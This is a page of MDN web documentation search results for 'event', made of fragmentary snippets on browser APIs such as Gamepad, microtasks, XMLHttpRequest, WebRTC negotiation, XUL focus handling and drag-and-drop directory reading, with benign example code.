the necessary components for rich, interactive game development. technologies like <canvas>, webgl, <audio>, and <video>, along with javascript implementations, have matured to the point where they can now support many tasks previously requiring native code. the gamepad api is a way for developers and designers to access and use gamepads and other game controllers. the gamepad api introduces new
events on the window object for reading gamepad and controller (hereby referred to as gamepad) state. in addition to these
events, the api also adds a gamepad object, which you can use to query the state of a connected gamepad, and a navigator.getgamepads() method which you can use to get a list of gamepads known to the page. connecting to a gamepad when a new gamepad is connected to the computer, th...
...ntroller (hereby referred to as gamepad) state. in addition to these
events, the api also adds a gamepad object, which you can use to query the state of a connected gamepad, and a navigator.getgamepads() method which you can use to get a list of gamepads known to the page. connecting to a gamepad when a new gamepad is connected to the computer, the focused page first receives a gamepadconnected
event. if a gamepad is already connected when the page loaded, the gamepadconnected
event is dispatched to the focused page when the user presses a button or moves an axis. in firefox, gamepads are only exposed to a page when the user interacts with one with the page visible. this helps pr
event gamepads being used for fingerprinting the user. once one gamepad has been interacted with, other gamepads ...
...he focused page when the user presses a button or moves an axis. in firefox, gamepads are only exposed to a page when the user interacts with one with the page visible. this helps pr
event gamepads being used for fingerprinting the user. once one gamepad has been interacted with, other gamepads that are connected will automatically be visible. you can use gamepadconnected like this: window.add
eventlistener("gamepadconnected", function(e) { console.log("gamepad connected at index %d: %s. %d buttons, %d axes.", e.gamepad.index, e.gamepad.id, e.gamepad.buttons.length, e.gamepad.axes.length); }); each gamepad has a unique id associated with it, which is available on the
event's gamepad property. disconnecting a gamepad when a gamepad is disconnected, and if a page has previously r...
...And 17 more matches
Using microtasks in JavaScript with queueMicrotask() - Web APIs
a microtask is a short function which is executed after the function or program which created it exits and only if the javascript execution stack is empty, but before returning control to the
event loop being used by the user agent to drive the script's execution environment. this
event loop may be either the browser's main
event loop or the
event loop driving a web worker. this lets the given function run without the risk of interfering with another script's execution, yet also ensures that the microtask runs before the user agent has the opportunity to react to actions taken by the microtask. ...
... lets the given function run without the risk of interfering with another script's execution, yet also ensures that the microtask runs before the user agent has the opportunity to react to actions taken by the microtask. javascript promises and the mutation observer api both use the microtask queue to run their callbacks, but there are other times when the ability to defer work until the current
event loop pass is wrapping up. in order to allow microtasks to be used by third-party libraries, frameworks, and polyfills, the queuemicrotask() method is exposed on the window and worker interfaces through the windoworworkerglobalscope mixin. tasks vs microtasks to properly discuss microtasks, it's first useful to know what a javascript task is and how microtasks differ from tasks. this is a quick,...
...ful to know what a javascript task is and how microtasks differ from tasks. this is a quick, simplified explanation, but if you would like more details, you can read the information in the article in depth: microtasks and the javascript runtime environment. tasks a task is any javascript code which is scheduled to be run by the standard mechanisms such as initially starting to run a program, an
event callback being run, or an interval or timeout being fired. these all get scheduled on the task queue. tasks get added to the task queue when: a new javascript program or subprogram is executed (such as from a console, or by running the code in a <script> element) directly. an
event fires, adding the
event's callback function to the task queue. a timeout or interval created with settimeout()...
...And 17 more matches
Sending forms through JavaScript - Learn web development
urlencodeddatapairs.push( encodeuricomponent( name ) + '=' + encodeuricomponent( data[name] ) ); } // combine the pairs into a single string and replace all %-encoded spaces to // the '+' character; matches the behaviour of browser form submissions. ...
...odeuricomponent( name ) + '=' + encodeuricomponent( data[name] ) ); } // combine the pairs into a single string and replace all %-encoded spaces to // the '+' character; matches the behaviour of browser form submissions. ...
...replace all %-encoded spaces to // the '+' character; matches the behaviour of browser form submissions. ...
...And 14 more matches
nsIAppShell
widget/public/nsiappshell.idlnot scriptable interface for the native
event system layer. this interface is designed to be used on the main application thread only. ...
... widget/public/nsiappshell.idlnot scriptable interface for the native
event system layer. this interface is designed to be used on the main application thread only. ...
...get/public/nsiappshell.idlnot scriptable interface for the native
event system layer. this interface is designed to be used on the main application thread only. ...
...And 14 more matches
Pointer Lock API - Web APIs
it is ideal for first person 3d games, for example. ...
...pi is useful for any applications that require significant mouse input to control movements, rotate objects, and change entries, for example allowing users to control the viewing angle simply by moving the mouse around without any button clicking. the buttons are then freed up for other actions. other examples include apps for viewing maps or satellite imagery. pointer lock lets you access mouse
events even when the cursor goes past the boundary of the browser or screen. for example, your users can continue to rotate or manipulate a 3d model by moving the mouse without end. without pointer lock, the rotation or manipulation stops the moment the pointer reaches the edge of the browser or screen. game players can now click buttons and swipe the mouse cursor back and forth without worrying about ...
...on stops the moment the pointer reaches the edge of the browser or screen. game players can now click buttons and swipe the mouse cursor back and forth without worrying about leaving the game play area and accidentally clicking another application that would take mouse focus away from the game. basic concepts pointer lock is related to mouse capture. ...
...And 14 more matches
Establishing a connection: The WebRTC perfect negotiation pattern - Web APIs
nded way to negotiate a webrtc connection between peers, and provides sample code to demonstrate the technique. after the first deployments of webrtc-capable browsers, it was realized that parts of the negotiation process were more complicated than they needed to be for typical use cases. this was due to a small number of issues with the api and some potential race conditions that needed to be pr
evented. these issues have since been addressed, letting us simplify our webrtc negotiation significantly. the perfect negotiation pattern is an example of the ways in which negotiation have improved since the early days of webrtc. perfect negotiation concepts perfect negotiation makes it possible to seamlessly and completely separate the negotiation process from the rest of your application's logic.
... the best thing about perfect negotiation is that the same code is used for both the caller and the callee, so there's no repetition or otherwise added levels of negotiation code to write. perfect negotiation works by assigning each of the two peers a role to play in the negotiation process that's entirely separate from the webrtc connection state: a polite peer, which uses ice rollback to pr
event collisions with incoming offers. a polite peer, essentially, is one which may send out offers, but then responds if an offer arrives from the other peer with "okay, never mind, drop my offer and i'll consider yours instead." an impolite peer, which always ignores incoming offers that collide with its own offers. it never apologizes or gives up anything to the polite peer. any time a collision oc...
...by calling getusermedia(). the resulting media tracks are then added to the rtcpeerconnection by passing them into addtrack(). then, finally, the media source for the self-view <video> element indicated by the selfvideo constant is set to the camera and microphone stream, allowing the local user to see what the other peer sees. ...
...And 14 more matches
Communicating using "postMessage" - Archive of obsolete content
as an alternative to port, content modules support the built-in message
event. in most cases port is preferable to message
events. however, the context-menu module does not support port, so to send messages from a content script to the add-on via a context menu object, you must use message
events. handling message
events in the content script to send a message from a content script, you use the postmessage function of the global self object: self.postmessage(contentscriptmessage); this takes a single parameter, the message payload, which may be any json-serializable value. ...
...script to send a message from a content script, you use the postmessage function of the global self object: self.postmessage(contentscriptmessage); this takes a single parameter, the message payload, which may be any json-serializable value. to receive a message from the add-on script, use self's on function: self.on("message", function(addonmessage) { // handle the message }); like all
event-registration functions, this takes two parameters: the name of the
event, and the handler function. the handler function is passed the message payload. handling message
events in the add-on script to send a message to a content script, use the worker's postmessage function. again, panel and page integrate worker directly: // post a message to the panel's content scripts panel.postmessage(addon...
...d the handler function. the handler function is passed the message payload. handling message
events in the add-on script to send a message to a content script, use the worker's postmessage function. again, panel and page integrate worker directly: // post a message to the panel's content scripts panel.postmessage(addonmessage); however, for page-mod objects you need to listen to the onattach
event and use the worker supplied to that: var pagemod = require('sdk/page-mod').pagemod({ include: ['*'], contentscript: pagemodscript, onattach: function(worker) { worker.postmessage(addonmessage); } }); to receive messages from a content script, use the worker's on function. to simplify this most content modules provide an onmessage property as an argument to the constructor: panel =...
...And 13 more matches
textbox - Archive of obsolete content
used if you want no limit on the number of decimal places. note that decimal numbers are stored as floats. disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the command
event will not fire. in the case of form elements, it will not be submitted. do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse
events. to enable th...
...prior to gecko 1.9 (firefox 3), the script code would execute in the context of the anonymous html <input> element inside the textbox binding. from gecko 1.9 to gecko 12.0 (firefox 12.0 / thunderbird 12.0 / seamonkey 2.9), the script code would actually execute twice, once in the context of the a...
...hcommas pastes the text with the newlines replaced with commas replacewithspaces pastes the text with newlines replaced with spaces strip pastes the text with the newlines removed stripsurroundingwhitespace pastes the text with newlines and adjacent whitespace removed onblur type: script code this
event is sent when a textbox loses keyboard focus. note: the behavior of this
event has evolved over time. prior to gecko 1.9 (firefox 3), the script code would execute in the context of the anonymous html <input> element inside the textbox binding. from gecko 1.9 to gecko 12.0 (firefox 12.0 / thunderbird 12.0 / seamonkey 2.9), the script code would actually execute twice, once in the context of the anonymous html <input> element and once in the context of the <textbox> element ...
...And 13 more matches
Accessibility/LiveRegionDevGuide
ec or the live region report to learn about aria live region markup and the live region api support document for the latest firefox api with regards to live regions. as always, we're open to questions and suggestions for changes in community forums. priority queue the heart of any live region support module is the priority queue. it is responsible for queuing messages derived from live region
events, where priority is determined by chronological order and the live politeness properties. in addition to the standard priority queue methods, additional methods will need to be implemented that purge the queue based on one of the priority criterion. the "purge by timestamp" method will be used to remove old messages that are no longer deemed relevant while "purge by politeness" is used to satisf...
...ddition to the standard priority queue methods, additional methods will need to be implemented that purge the queue based on one of the priority criterion. the "purge by timestamp" method will be used to remove old messages that are no longer deemed relevant while "purge by politeness" is used to satisfy the aria live politeness specification. the later method will be explained in detail below. ...
..., additional methods will need to be implemented that purge the queue based on one of the priority criterion. the "purge by timestamp" method will be used to remove old messages that are no longer deemed relevant while "purge by politeness" is used to satisfy the aria live politeness specification. the later method will be explained in detail below.
event types the table for web page mutation
event types lists the two major
event types associated with live regions, namely text-changed and object changed
events. both will be discussed in detail below. object changed the object changed
events are slightly different in at-spi and iaccessible2. in at-spi, the object changed
event are called object:children-changed
events because the
event is triggered on the parent of the object. the actual ...
...And 13 more matches
WebRequest.jsm
you can use this api to implement a content policy in an add-on (for example, an ad or script blocker), as you could using nsicontentpolicy. more generally, you can also use this api instead of http request observers. you can use webrequest.jsm in either the chrome or content processes. the webrequest api is modeled on chrome's webrequest extension api, which makes it easier to write cross-browser add-on code. ...
...he following properties, each of which corresponds to a specific stage in executing a web request: onbeforerequest onbeforesendheaders onsendheaders onheadersreceived onresponsestarted oncompleted each of these objects defines two functions: addlistener(callback, filter, opt_extrainfospec) removelistener(callback) adding listeners use addlistener to add a listener to a particular
event. it takes one mandatory argument and two optional arguments, as detailed below. name type description callback function the callback argument is a function to be called when the
event is triggered. it's passed an object whose structure will vary depending on the
event you're listening to: see the
event-specific documentation for details. f...
...depending on the
event you're listening to: see the
event-specific documentation for details. filter object the optional filter argument is used to restrict the requests for which the listener callback will be invoked. see filtering. opt_extrainfospec array of string the optional opt_extrainfospec argument lets you pass extra instructions for the handling of
events. the instructions you can pass here vary depending on the
event you're listening to: see the
event-specific documentation for details. in particular, "blocking" may be passed to several
event types, and will make the
event dispatch synchronous, so the browser will wait for the
event listener to return before continuing with the request. ...
...And 13 more matches
DevTools API - Firefox Developer Tools
this tool. the gdevtools global object provides methods to register a tool definition and to access tool instances. an instance of a tool is called a toolpanel. the toolpanel is built only when the tool is selected (not when the toolbox is opened). there is no way to "close/destroy" a toolpanel. the only way to close a toolpanel is to close its containing toolbox. all these objects implement the
eventemitter interface. api gdevtools the gdevtools api can be used to register new tools, themes and handle toolboxes for different tabs and windows. to use the gdevtools api from an add-on, it can be imported with following snippet const { gdevtools } = require("resource:///modules/devtools/gdevtools.jsm"); methods registertool(tooldefinition) registers a new tool and adds a tab to each ...
...eid) fetch the themedefinition object for the theme with the given id. parameters: themeid {string} - the id of the theme. return value: a themedefinition object if the theme exists, null otherwise. getthemedefinitionmap() returns a toolid → themedefinition map for available themes. getthemedefinitionarray() returns an array of themedefinition objects for avialble themes.
events following
events are emitted by the gdevtools object via the
eventemitter interface. tool-registered(toolid) a new tool has been registered. tool-unregistered(tool) a tool has been unregistered. the parameter is a tooldefinition object. theme-registered(themeid) a new theme has been registered. theme-unregistered(theme) a theme has been unregistered. the parameter is a...
...level of the toolbox document. zoomout() decreases the zoom level of the toolbox document. zoomreset() resets the zoom level of the toolbox document. setzoom(value) set the zoom level to an arbitrary value. parameters: value {number} - the zoom level such as 1.2. destroy() closes the toolbox. return value: a promise that is resolved once the toolbox is destroyed.
events the toolbox object emits following
events via the
eventemitter interface. host-changed the host for this toolbox has changed. ready the toolbox is ready to use. select(toolid) a tool has been selected. this
event is emitted before the corresponding {toolid}-selected
event. {toolid}-init(frame) a tool is about to be loaded. the frame is the <iframe> element that has bee...
...And 13 more matches
Examples of web and XML development using the DOM - Web APIs
gth; i++) { for(var j = 0; j < ss[i].cssrules.length; j++) { dump( ss[i].cssrules[j].selectortext + "\n" ); } } for a document with a single stylesheet in which the following three rules are defined: body { background-color: darkblue; } p { font-face: arial; font-size: 10pt; margin-left: .125in; } #lumpy { display: none; } this script outputs the following: body p #lumpy example 5:
event propagation this example demonstrates how
events fire and are handled in the dom in a very simple way. when the body of this html document loads, an
event listener is registered with the top row of the table. the
event listener handles the
event by executing the function stop
event, which changes the value in the bottom cell of the table. however, stop
event also calls an
event object method, eve...
...tes how
events fire and are handled in the dom in a very simple way. when the body of this html document loads, an
event listener is registered with the top row of the table. the
event listener handles the
event by executing the function stop
event, which changes the value in the bottom cell of the table. however, stop
event also calls an
event object method,
event.stoppropagation, which keeps the
event from bubbling any further up into the dom. note that the table itself has an onclick
event handler that ought to display a message when the table is clicked. but the stop
event method has stopped propagation, and so after the data in the table is updated, the
event phase is effectively ended, and an alert box is displayed to confirm this. ...
...s the
event from bubbling any further up into the dom. note that the table itself has an onclick
event handler that ought to display a message when the table is clicked. but the stop
event method has stopped propagation, and so after the data in the table is updated, the
event phase is effectively ended, and an alert box is displayed to confirm this. <!doctype html> <html lang="en"> <head> <title>
event propagation</title> <style> #t-daddy { border: 1px solid red } #c1 { background-color: pink; } </style> <script> function stop
event(ev) { c2 = document.getelementbyid("c2"); c2.innerhtml = "hello"; // this ought to keep t-daddy from getting the click. ...
...And 13 more matches
Using XMLHttpRequest - Web APIs
mmon and more obscure use cases for xmlhttprequest are included. to send an http request, create an xmlhttprequest object, open a url, and send the request. after the transaction completes, the object will contain useful information such as the response body and the http status of the result. function reqlistener () { console.log(this.responsetext); } var oreq = new xmlhttprequest(); oreq.add
eventlistener("load", reqlistener); oreq.open("get", "http://www.example.org/example.txt"); oreq.send(); types of requests a request made via xmlhttprequest can fetch the data in one of two ways, asynchronously or synchronously. the type of request is dictated by the optional async argument (the third argument) that is set on the xmlhttprequest.open() method. if this argument is true or not specified...
...fer object, which stores the raw binary data. var oreq = new xmlhttprequest(); oreq.onload = function(e) { var arraybuffer = oreq.response; // not responsetext /* ... ...
... ... */ } oreq.open("get", url); oreq.responsetype = "arraybuffer"; oreq.send(); for more examples check out the sending and receiving binary data page monitoring progress xmlhttprequest provides the ability to listen to various
events that can occur while the request is being processed. this includes periodic progress notifications, error notifications, and so forth. support for dom progress
event monitoring of xmlhttprequest transfers follows the specification for progress
events: these
events implement the progress
event interface. the actual
events you can monitor to determine the state of an ongoing transfer are: progress the amount of data that has been retrieved has changed. load the transfer is complete; all data is now in the response var oreq = new xmlhttprequest(); oreq.a...
...And 13 more matches
XRSession - Web APIs
requestsession() method. with xrsession methods, you can poll the viewer's position and orientation (the xrviewerpose), gather information about the user's environment, and present imagery to the user. xrsession supports both inline and immersive virtual and augmented reality modes. properties in addition to the properties listed below, xrsession inherits properties from its parent interface,
eventtarget. environmentblendmode read only returns this session's blend mode which denotes how much of the real-world environment is visible through the xr device and how the device will blend the device imagery with it. note: environmentblendmode() is part of the webxr augmented reality module, which has not been completed. inputsources read only returns a list of this session's ...
...ipping planes (distances defining how close and how far away objects can be and still get rendered), as well as field of view information. visibilitystate read only a domstring whose value is one of those found in the xrvisibilitystate enumerated type, indicating whether or not the session's imagery is visible to the user, and if so, if it's being visible but not currently the target for user
events. methods xrsession provides the following methods in addition to those inherited from its parent interface,
eventtarget. cancelanimationframe() removes a callback from the animation frame painting callback from xrsession's set of animation frame rendering callbacks, given the identifying handle returned by a previous call to requestanimationframe(). end() ends the webxr session. returns...
...rencespace or xrboundedreferencespace which was requested, or throws a notsupportederror if the requested space type isn't supported by the device. updaterenderstate() updates the properties of the session's render state to match the values specified in the specified xrrenderstateinit dictionary. any properties not included in the given dictionary are left unchanged from their current values. ...
...And 13 more matches
Using CSS animations - CSS: Cascading Style Sheets
px gets a duration of 5s. we’ve now got to the end of the available duration values, so we start from the beginning again — bounce therefore gets a duration of 2.5s. the iteration counts (and any other property values you specify) will be assigned in the same way. animation-name: fadeinout, moveleft300px, bounce; animation-duration: 2.5s, 5s; animation-iteration-count: 2, 1; using animation
events you can get additional control over animations — as well as useful information about them — by making use of animation
events. these
events, represented by the animation
event object, can be used to detect when animations start, finish, and begin a new iteration. each
event includes the time at which it occurred as well as the name of the animation that triggered the
event. we'll modify the...
... adding the css we start with creating the css for the animation. this animation will last for 3 seconds, be called “slidein”, repeat 3 times, and alternate direction each time. in the @keyframes, the width and margin-left are manipulated to make the element slide across the screen. ...
...ction each time. in the @keyframes, the width and margin-left are manipulated to make the element slide across the screen. ...
...And 13 more matches
Border-image generator - CSS: Cascading Style Sheets
reak-all; float: left; } javascript content 'use strict'; /** * ui-slidersmanager */ var inputslidermanager = (function inputslidermanager() { var subscribers = {}; var sliders = []; var inputcomponent = function inputcomponent(obj) { var input = document.createelement('input'); input.setattribute('type', 'text'); input.style.width = 50 + obj.precision * 10 + 'px'; input.add
eventlistener('click', function(e) { this.select(); }); input.add
eventlistener('change', function(e) { var value = parsefloat(e.target.value); if (isnan(value) === true) setvalue(obj.topic, obj.value); else setvalue(obj.topic, value); }); return input; }; var slidercomponent = function slidercomponent(obj, sign) { var slider = document.createelement('div'); var sta...
...; }); input.add
eventlistener('change', function(e) { var value = parsefloat(e.target.value); if (isnan(value) === true) setvalue(obj.topic, obj.value); else setvalue(obj.topic, value); }); return input; }; var slidercomponent = function slidercomponent(obj, sign) { var slider = document.createelement('div'); var startx = null; var start_value = 0; slider.add
eventlistener("click", function(e) { document.remove
eventlistener("mousemove", slidermotion); setvalue(obj.topic, obj.value + obj.step * sign); }); slider.add
eventlistener("mousedown", function(e) { startx = e.clientx; start_value = obj.value; document.body.style.cursor = "e-resize"; document.add
eventlistener("mouseup", slideend); document.add
eventlistener("mousemove", slider...
...", slidermotion); setvalue(obj.topic, obj.value + obj.step * sign); }); slider.add
eventlistener("mousedown", function(e) { startx = e.clientx; start_value = obj.value; document.body.style.cursor = "e-resize"; document.add
eventlistener("mouseup", slideend); document.add
eventlistener("mousemove", slidermotion); }); var slideend = function slideend(e) { document.remove
eventlistener("mousemove", slidermotion); document.body.style.cursor = "auto"; slider.style.cursor = "pointer"; }; var slidermotion = function slidermotion(e) { slider.style.cursor = "e-resize"; var delta = (e.clientx - startx) / obj.sensivity | 0; var value = delta * obj.step + start_value; setvalue(obj.topic, value); }; return slider; }; var inputslider = function(node)...
...And 13 more matches
Creating a cross-browser video player - Developer guides
ment.getelementbyid('playpause'); var stop = document.getelementbyid('stop'); var mute = document.getelementbyid('mute'); var volinc = document.getelementbyid('volinc'); var voldec = document.getelementbyid('voldec'); var progress = document.getelementbyid('progress'); var progressbar = document.getelementbyid('progress-bar'); var fullscreen = document.getelementbyid('fs'); using these handles,
events can now be attached to each of the custom control buttons making them interactive. most of these buttons require a simple click
event listener to be added, and a media api defined method and/or attributes to be called/checked on the video. play/pause playpause.add
eventlistener('click', function(e) { if (video.paused || video.ended) video.play(); else video.pause(); }); when a click eve...
...used || video.ended) video.play(); else video.pause(); }); when a click
event is detected on the play/pause button, the handler first of all checks if the video is currently paused or has ended (via the media api's paused and ended attributes); if so, it uses the play() method to playback the video. otherwise the video must be playing, so it is paused using the pause() method. stop stop.add
eventlistener('click', function(e) { video.pause(); video.currenttime = 0; progress.value = 0; }); the media api doesn't have a stop method, so to mimic this the video is paused, and its currenttime (i.e. ...
...using the pause() method. stop stop.add
eventlistener('click', function(e) { video.pause(); video.currenttime = 0; progress.value = 0; }); the media api doesn't have a stop method, so to mimic this the video is paused, and its currenttime (i.e. the video's current playing position) and the <progress> element's position is set to 0 (more on the <progress> element later). mute mute.add
eventlistener('click', function(e) { video.muted = !video.muted; }); the mute button is a simple toggle button that uses the media api's muted attribute to mute the video: this is a boolean indicating whether the video is muted or not. to get it to toggle, we set it to the inverse of itself. ...
...And 13 more matches
dev/panel - Archive of obsolete content
when the panel is created. it's passed an options object containing a single property debuggee. debuggee is a messageport object that you can use to exchange messages with the debugger server. optional dispose function a function that will be called when the panel is about to be destroyed. you can use it to do any cleanup. optional onready function an
event handler that will be called when the document in the panel becomes interactive. it's equivalent to document.readystate === "interactive". at this point you can send the panel document messages. optional onload function an
event handler that will be called after the document in the panel is fully loaded. it's equivalent to document.readystate === "complete". optional on...
...ver the developer tools are targeting. communicating with the panel document the main add-on code can't directly access the panel document or any scripts loaded by the panel document. however it can send messages to the panel document using the postmessage method of panel. this is closely modeled on window.postmessage. you can only send the panel document message after you've received the ready
event. in the main add-on code: // main.js // require the sdk modules const { panel } = require("dev/panel"); const { tool } = require("dev/toolbox"); const { class } = require("sdk/core/heritage"); const mypanel = class({ extends: panel, label: "my panel", tooltip: "my new devtool's panel", icon: "./my-icon.png", url: "./my-panel.html", onready: function() { this.postmessage("messa...
...ltip: "my new devtool's panel", icon: "./my-icon.png", url: "./my-panel.html", onready: function() { this.postmessage("message from the add-on"); } }); // export the constructor exports.mypanel = mypanel; // create a new tool, initialized // with the new constructor const mytool = new tool({ panels: { mypanel: mypanel } }); in the panel document script: // my-panel.js window.add
eventlistener("message", function(
event) { var content = document.getelementbyid("content"); content.textcontent =
event.data; }); note that at the moment you have to pass an array of ports into postmessage, even if you don't need to use them: // main.js // require the sdk modules const { panel } = require("dev/panel"); const { tool } = require("dev/toolbox"); const { class } = require("sdk/cor...
...And 12 more matches
ui/button/toggle - Archive of obsolete content
experimental add a toggle button to the firefox user interface. with this module you can create buttons that function like a check box, representing an on/off choice. toggle buttons have all the same features as action buttons: they can display icons and respond to click
events. like action buttons, you can control their state on a per-window or per-tab basis as well as globally. toggle buttons have two extra features: they emit a change
event when clicked, as well as a click
event. they have an extra attribute checked that is automatically toggled when the button is clicked. when a button is checked it gets a "pressed" look in the user interface (note that the "pressed" look currently does not work in mac os x). usage creating buttons to create a button you must give it an id, an ...
...ple icons, firefox will select the best-fitting icon based on the device screen resolution and the place the icon appears. for example, in the screenshots above, firefox uses the small icon when the button is in the toolbar and the large icon when the button is in the menu panel. read more about specifying icons in the reference documentation for the togglebutton constructor. responding to click
events you can respond to click
events by assigning a listener to the button's click or change
events. you can do this in the button's constructor, by assigning the listener to the onclick or onchange option. you can also add, or change, the listener afterwards: var { togglebutton } = require("sdk/ui/button/toggle"); var button = togglebutton({ id: "my-button", label: "my button", icon: ...
...gain"); } function firstchange(state) { console.log("you changed '" + state.label + "'"); button.removelistener("change", firstchange); button.on("change", subsequentchanges); } function subsequentchanges(state) { console.log("you changed '" + state.label + "' again"); } the listener is passed a state object that contains all the button's properties. you can generate click and change
events programmatically with the button's click() method. attaching panels to buttons you can attach panels to buttons by passing the button as the position option to the panel's show() method or the panel's constructor: var { togglebutton } = require('sdk/ui/button/toggle'); var panels = require("sdk/panel"); var self = require("sdk/self"); var button = togglebutton({ id: "my-button", label: "...
...And 12 more matches
Miscellaneous - Archive of obsolete content
around here: http://mxr.mozilla.org/seamonkey/sou...pdates.js#1639 for firefox 2 see around here: http://mxr.mozilla.org/mozilla1.8/so...pdates.js#1631 bug 338039 tracks improving this situation by providing a simple method to restart the application. example for firefox: services.startup.quit(services.startup.eforcequit|services.startup.erestart); mouse and keyboard detecting mouse wheel
events when scrolling the mouse wheel on an element, the dommousescroll
event fires.
event.detail contains the number of lines to scroll. this
event is mozilla-only; other browsers may support window.onmousewheel. <div id="scrollarea" style="overflow: scroll; height: 6em; width: 10em;"> this is the scrolling area. this is the scrolling area. this is the scrolling area. this is the scrolling a...
... this is the scrolling area. this is the scrolling area. this is the scrolling area. this is the scrolling area. this is the scrolling area. this is the scrolling area. this is the scrolling area. this is the scrolling area. this is the scrolling area. this is the scrolling area. </div> <script type="text/javascript"> var elm = document.getelementbyid("scrollarea"); elm.add
eventlistener("dommousescroll", function scroll(
event){ //
event.detail is positive for a downward scroll, negative for an upward scroll alert("scrolling " +
event.detail + " lines"); }, false); </script> if you do not receive a dommousescroll
event while holding any of the modifier keys (ctrl,shift,alt,meta) you should check the mousewheel.withcontrolkey.action and related preferences. the ...
... }, false); </script> if you do not receive a dommousescroll
event while holding any of the modifier keys (ctrl,shift,alt,meta) you should check the mousewheel.withcontrolkey.action and related preferences. the meaning of the action preference is shown in the following table mousewheel.withxxxkey.action result 0 scroll by lines. if set, you will receive dommousescroll
events. 1 scroll by page. 2 move around in the history. if set, you will not receive dommousescroll
events. 3 change text size. if set, you will not receive dommousescroll
events. you can listen to mouse wheel click
events just like normal click
events (via mousedown and mouseup
events). when the mouse wheel is clicked,
event.button will be equal to 1. simula...
...And 12 more matches
Elements - Archive of obsolete content
,handlers?)"> <!element binding %binding-content;> <!attlist binding id id #required extends cdata #implied display cdata #implied inheritstyle true #implied > the binding element describes a single xbl binding. a xbl binding can add anonymous content, fields, properties, methods, and
event handlers to html/xml elements. a single xbl binding can be attached to an element by using style sheets or by scripting. (see bug 83830 for <table> specifics). css: div { -moz-binding: url(mybinding.xml#default); } dom: elementreference.style.mozbinding = "url(mybinding.xml#default)"; in both cases above we are using binding with id="default" contained in file mybinding.xml starting wi...
...ied > the setter element contains script that gets executed when a specific property is being set. the setter tag must be inside the property tag. id - the id attribute is a document-unique identifier. handlers <!entity % handlers-content "handler*"> <!element handlers %handlers-content;> <!attlist handlers id id #implied > the handlers element contains
event handlers that can be attached to elements within the bound document. these handlers are installed when the binding is attached and removed when the binding is detached. the handlers tag must be inside the binding tag. id - the id attribute is a document-unique identifier. handler <!entity % handler-content "pcdata"> <!element handler %handler-content;> <!attlist handler id ...
...n the bound document. these handlers are installed when the binding is attached and removed when the binding is detached. the handlers tag must be inside the binding tag. id - the id attribute is a document-unique identifier. ...
...And 12 more matches
ContextMenus - Archive of obsolete content
the most common is by clicking on an element with the right mouse button. ...
...y keyboards next to control with a menu image) or by pressing shift+f10. you should not assume that a user has used the mouse to open a context menu. when using the mouse to open a context menu, the context is the element that was clicked. when using the keyboard, the context is the element in the window that is currently focused. although there are several ways to open a context menu, a single
event may be used to listen for any of these situations; the 'contextmenu'
event is fired in any case. <hbox id="container" align="center" oncontextmenu="..."> <label value="name:"/> <textbox id="name"/> </hbox> in this example, an attempt to open a context menu anywhere inside the hbox will call the
event listener attached using the oncontextmenu attribute. as textboxes have a context menu buil...
...ed to listen for any of these situations; the 'contextmenu'
event is fired in any case. <hbox id="container" align="center" oncontextmenu="..."> <label value="name:"/> <textbox id="name"/> </hbox> in this example, an attempt to open a context menu anywhere inside the hbox will call the
event listener attached using the oncontextmenu attribute. as textboxes have a context menu built in, the
event will fire before an attempt to open the context menu. however, the
event will also fire when the label is right-clicked for instance, so the
event handler should check to make sure that the target of the contextmenu
event is what is desired. to cancel a context menu
event, you can use the pr
eventdefault method of the
event object. ...
...And 12 more matches
Focus and Selection - Archive of obsolete content
if there are three textboxes on a window, the one that has the focus is the one that the user can currently enter text into. only one element per window has the focus at a time. the user can change the focus by clicking an element with the mouse or by pressing the tab key. when the tab key is pressed, the next element is given the focus. ...
...ts in sequence. usually, however, you would not set the tabindex attribute. if you do not, pressing tab will set the focus to the next displayed element. you only need to set tab indices if you wish to use a different order. here is an example: example 1 : source view <button label="button 1" tabindex="2"/> <button label="button 2" tabindex="1"/> <button label="button 3" tabindex="3"/> the focus
event the focus
event is used to respond when the focus is given to an element. the blur
event is used to respond when the focus is removed from an element. you can respond to focus changes by adding an onfocus or onblur attribute on an element. they work just like their html counterparts. you might use these
event handlers to highlight the element or display text on a status bar. the following example...
...is given to an element. the blur
event is used to respond when the focus is removed from an element. you can respond to focus changes by adding an onfocus or onblur attribute on an element. they work just like their html counterparts. you might use these
event handlers to highlight the element or display text on a status bar. the following example can be used to apply a function to handle a focus
event. example 2 : source view <script> function displayfocus(){ var elem=document.getelementbyid('sbar'); elem.setattribute('value','enter your phone number.'); } </script> <textbox id="tbox1"/> <textbox id="tbox2" onfocus="displayfocus();"/> <description id="sbar" value=""/> the focus
event, when it occurs, will call the displayfocus function. this function will change the value of the text l...
...And 12 more matches
DataTransferItem.webkitGetAsEntry() - Web APIs
time; it may be renamed to simply getasentry() in the future, so you should code defensively, looking for both. syntax datatransferitem.webkitgetasentry(); parameters none. return value a filesystementry-based object describing the dropped item. this will be either filesystemfileentry or filesystemdirectoryentry. example in this example, a drop zone is created, which responds to the drop
event by scanning through the dropped files and directories, outputting a hierarchical directory listing. html content the html establishes the drop zone itself, which is a <div> element with the id "dropzone", and an unordered list element with the id "listing". <p>drag files and/or directories to the box below!</p> <div id="dropzone"> <div id="boxtitle"> drop files here </div> </div> <h2...
...t's hierarchy. after that, directoryreader.readentries() is called to read in all the entries in the directory. these are each, in turn, passed into a recursive call to scanfiles() to process them. any of them which are files are simply inserted into the list; any which are directories are inserted into the list and a new level of the list's hierarchy is added below, and so forth. ...
...directoryreader.readentries() is called to read in all the entries in the directory. these are each, in turn, passed into a recursive call to scanfiles() to process them. any of them which are files are simply inserted into the list; any which are directories are inserted into the list and a new level of the list's hierarchy is added below, and so forth. then come the
event handlers. ...
...And 12 more matches
FileSystemDirectoryReader.readEntries() - Web APIs
you've already called readentries() on this filesystemdirectoryreader, the array is empty. errorcallback optional a callback function which is called if an error occurs while reading from the directory. it receives one input parameter: a fileerror object describing the error which occurred. return value undefined. example in this example, a drop zone is created, which responds to the drop
event by scanning through the dropped files and directories, outputting a hierarchical directory listing. html content the html establishes the drop zone itself, which is a <div> element with the id "dropzone", and an unordered list element with the id "listing". <p>drag files and/or directories to the box below!</p> <div id="dropzone"> <div id="boxtitle"> drop files here </div> </div> <h2...
